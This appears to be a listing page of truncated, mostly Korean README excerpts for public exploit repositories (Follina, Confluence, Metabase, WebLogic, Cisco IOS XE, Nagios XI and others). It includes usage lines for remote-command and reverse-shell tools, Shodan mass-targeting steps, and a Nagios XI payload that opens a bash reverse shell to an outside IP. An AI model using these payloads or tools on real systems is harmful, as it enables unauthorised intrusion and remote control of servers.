Follina_Exploiter_CLI

Follina 익스플로이터 CLI 도구 MSDT 취약점 CVE-2022-30190 MSDTMicrosoft 지원 진단 도구의 제로데이 취약점일명 'Follina' CVE-2022-30190을 익스플로잇하기 위한 명령줄 기반 파이썬 도구입니다. 정보: PowerShell을 실행하는 공격에 사용된 새로운 Microsoft Office 제로데이 Python3.10.4으로 제작됨 기능 1. 피해자 장치에서 악성 명령 실행. 2. 리버스 셸NetCat 획득. 3. .rtf 파일을 위한 제로 클릭 RTF 포함. New 요구 사항...

CVE-2022-26134

CVE-2022-26134 1. 먼저 shodan 스크립트를 실행하여 모든 IP를 수집합니다 python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt 예: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. 유효한 모든 IP에 대해 : cat log.txt | httpx -o forexploits.txt 3...

CVE-2023-38646

Metabase 사전 인증 RCE CVE-2023-38646 PoC 이 Python 스크립트는 Metabase 로그인 소프트웨어의 원격 코드 실행 취약점을 악용합니다. 이를 통해 인증 전에 서버에서 임의의 명령을 실행할 수 있습니다. 취약한 버전은 Metabase 오픈 소스 0.46.6.1 이전 및 Metabase Enterprise 1.46.6.1 이전입니다. 사용법 python3 exploit.py -u URL -t TOKEN -c COMMAND 인자 -h, --help 도움말 메시지를 표시하고 종료합니다 -u URL,...

CVE-2020-14883EXP

CVE-2020-14883EXP WebLogic10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0에 대한 검증 및 활용을 위한 도구입니다. 불법 목적으로 사용하지 마십시오. IP+포트를 입력하면 검증이 시작됩니다 예: 127.0.0.1:7001 원격 XML 명령 실행 지원 10.3.6.0.0 이외의 다른 버전은 두 가지 활용 방식을 제공합니다. 검증 성공 시 명령 모드로 진입합니다. 일괄 검증 성공 시 자동으로 저장됩니다...

CVE-2019-20197

CVE-2019-20197 Nagios XI 원격 명령 실행 취약점 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

CVE-2023-20198

CVE-2023-20198 CVE-2023-20198 익스플로잇 PoC 설명 CVE-2023-20198은 부적절한 경로 검증을 통해 Nginx 필터링을 우회하여 인증 없이 webuiwsmahttp 웹 엔드포인트에 접근할 수 있도록 하는 취약점입니다. 엔드포인트에 대한 인증을 우회함으로써 공격자는 임의의 Cisco IOS 명령을 실행하거나 Privilege 15 권한을 가지고 설정을 변경할 수 있습니다. Cisco가 이전에 공개되지 않은 취약점의 활발한 악용에 대한 조사 결과, 위협 행위자들이 먼저 CVE-2023-20198을...

CVE-2018-6961

CVE-2018-6961 - 인증되지 않은 명령 삽입 취약점 이 익스플로잇은 Python2.7에서 동작합니다 - 다른 버전에서는 테스트되지 않았습니다 1 의존성 설치 pip install request pip가 설치되어 있지 않다면 다음을 실행하세요 apt-get install python-pip 2 사용법 python exployt.py --rhost --interface --lhost --lport --function python exploit.py --rhost 1.1.1.1 --interface ge1 --lhost...

CVE-2026-57517-CWP

CVE-2026-57517 CWP 익스플로잇 이 저장소는 CVE-2026-57517과 관련된 알려진 Control Web Panel CWP 취약점 시나리오를 테스트하기 위한 Go 기반 개념 증명 도구를 포함합니다. 구현은 블라인드 SQL 인젝션 경로를 대상으로 하며, 인증된 보안 평가 목적으로 선택적 웹쉘 배포 및 명령 실행 흐름을 포함합니다. 개요 이 프로젝트는 보안 연구원 및 인증된 테스터가 다음을 수행할 수 있도록 설계되었습니다: 잠재적인 CWP 노출 탐지 통제된 환경에서 취약한 대상 호스트 테스트 조건이 충족되면 임시 ...

CVE-2024-24576-PoC---Nim

Windows에서 Nim을 활용한 명령 삽입 취약점 탐구 https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true 다음은 다양한 페이로드를 사용한 Nim 코드 실험 결과를 요약한 표입니다. Payload| execProcessNoQuoteShell| execProcessQuoteShell| execShellCmd ---|---|---|--- nim &calc| 통과하지 않음| 통과하지 않음|...

Apache_Penetration_Tool

ApachePenetrationTool QT C++로 개발된 취약점 익스플로잇 도구입니다. 중국어 설명 영어 설명 도구 인터페이스 취약점 선택 번호에서 검사할 취약점을 선택하세요. 취약점 탐지 첫 번째 텍스트 입력란에 대상 url 또는 ip를 입력하되 http 또는 https를 포함하세요. 결과는 마지막 큰 텍스트 상자에 표시됩니다. 디렉토리 트래버설 두 번째 텍스트 입력란에 읽을 파일의 절대 경로를 입력하세요. 결과는 마지막 큰 텍스트 상자에 표시됩니다. 명령 실행 세 번째 텍스트 입력란에 실행할 명령을 입력하세요. 결과는...

CVE-2025-26326

CVE-2025-26326 NVDA Remote 및 Tele NVDA Remote 연결 애드온의 중요한 보안 취약점 이 취약점은 CNA MITRE에 CVE-2025-26326으로 기록되었습니다. 이 CVE/취약점은 다음 글로벌 데이터베이스에 게시되었습니다: NVD, 미국 국립표준기술연구소 .gov Vulners.com tenable.com Debricked, 취약점 데이터베이스 Vulmon Feedly VulDB fr VulDB DE CVE.org, MITRE 코퍼레이션 SecurityVulnerability.io CVE...

openssh-portable

Portable OpenSSH OpenSSH는 안전한 원격 로그인, 명령 실행 및 파일 전송을 위한 SSH 프로토콜버전 2의 완전한 구현체입니다. 클라이언트 ssh와 서버 sshd, 파일 전송 유틸리티 scp와 sftp, 키 생성 도구ssh-keygen, 런타임 키 저장소ssh-agent 및 다양한 보조 프로그램을 포함합니다. 이 프로젝트는 OpenBSD의 OpenSSH를 Linux, OS X, Cygwin을 포함한 대부분의 Unix 계열 운영 체제로 포팅한 것입니다. Portable OpenSSH는 다른 곳에서는 사용할 수 ...

MSSQL-Pentest-Cheatsheet

🗄️ MSSQL ペンテストチートシート Microsoft SQL Server のペネトレーションテストに特化した実践的なチートシートです。ペネトレーションテスター、レッドチーマー、サイバーセキュリティ学習者が、セキュリティ評価中に誤設定された MSSQL データベースを列挙、悪用、不正利用する方法を理解するために設計されています。 🌐 私たちとつながる 🔵 Telegram – チャンネルに参加 ⚫ Twitter/X – フォローする 🟣 Discord – サーバーに参加 💼 LinkedIn – HackingArticles をフォロー 🎓 トレーニングプログラム 🚀...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL 대상 URL -c COMMAND, --command COMMAND 명령 -i LHOST, --lhost LHOST 리버스 셸 호스트 주소 -p LPORT, --lport LPORT 리버스 셸 호스트 포트 -f FILE, --file FILE 일괄 스캔...

Webmin_1.890-POC

Webmin 1.890 만료된 원격 루트 CVE-2019-15107 Webmin 1.890 버전에는 해당 사실을 아는 사람이라면 누구나 루트 권한으로 명령을 실행할 수 있는 백도어가 포함된 채 출시되었습니다. 1.900부터 1.920까지의 버전에도 유사한 코드를 사용하는 백도어가 포함되어 있었지만, 기본 Webmin 설치에서는 악용할 수 없었습니다. 관리자가 Webmin - Webmin Configuration - Authentication에서 만료된 비밀번호 변경을 허용하는 기능을 활성화한 경우에만 공격자가 이 백도어를 사용...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE 도구는 공유 및 교류 목적으로만 제공됩니다. 무단 테스트에 사용하지 마십시오. 이로 인한 책임은 작성자와 무관합니다. -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string reverse shell host -m string Method for using of...

CVE-2024-27348

CVE-2024-27348 🪶 CVE-2024-27348 개념 증명 익스플로잇 - Apache HugeGraph Server의 RCE 인증되지 않은 사용자가 Apache HugeGraph Server에서 Groovy 주입을 통해 OS 명령을 실행할 수 있습니다. 사용법 🛠 여러 대상 익스플로잇 ☣️ python3 CVE-2024-27348.py -f targets.txt -c "command to execute" 단일 대상 익스플로잇 🗡 python3 CVE-2024-27348.py -t http://target.tld:8080...

CVE-2021-40373

CVE-playsms playsms 1.4.3에는 잠재적 공격자가 원격 코드 실행을 수행할 수 있게 하는 취약점이 있습니다. RCE셸 재현 방법: https://playsms.org/ docker pull playsms/playsms:1.4.3 docker run -d -p 80:80 playsms/playsms admin:admin으로 로그인 http://127.0.0.1/index.php?app=main&inc=coremainconfig&op=mainconfigtabs-information-page 공격자 머신에서 악성...

firepwner

CVE-2015-6357: FirePWNER Exploit — Cisco FireSIGHT Management Center SSL 인증 검증 취약점 소개 Cisco FireSIGHT Management Center 인증서 검증 취약점3은 자체적으로 중간 심각도로 CVSS 5.1 의 취약점입니다. 하지만 이 취약점은 SSL 인증서 검증이 왜 그렇게 중요한지를 보여주는 예입니다. 이 익스플로잇에서는 이 취약점을 활용하여 Cisco FireSIGHT 시스템에서 권한 있는 원격 명령 실행을 얻는 방법을 시연합니다. 이 익스플로잇은 S...

CVE-2024-37770

CVE-2024-37770 설명 14Finger v1.1에서 지문fingerprint 기능에 원격 명령 실행RCE 취약점이 존재하는 것으로 확인되었습니다. 이 취약점으로 인해 공격자는 제작된 페이로드를 통해 임의의 명령을 실행할 수 있습니다. 공격 벡터 인증되지 않은 공격자는 셸 메타문자를 통해 명령 주입을 실행하여 원격 서버에서 RCE를 수행할 수 있습니다. 세부 정보 핵심 기능의 지문 스캔 지점에 인증되지 않은 원격 명령 실행 취약점이 존재합니다. 소스 코드 감사를 통해 onlyspider가 false이고 spider가...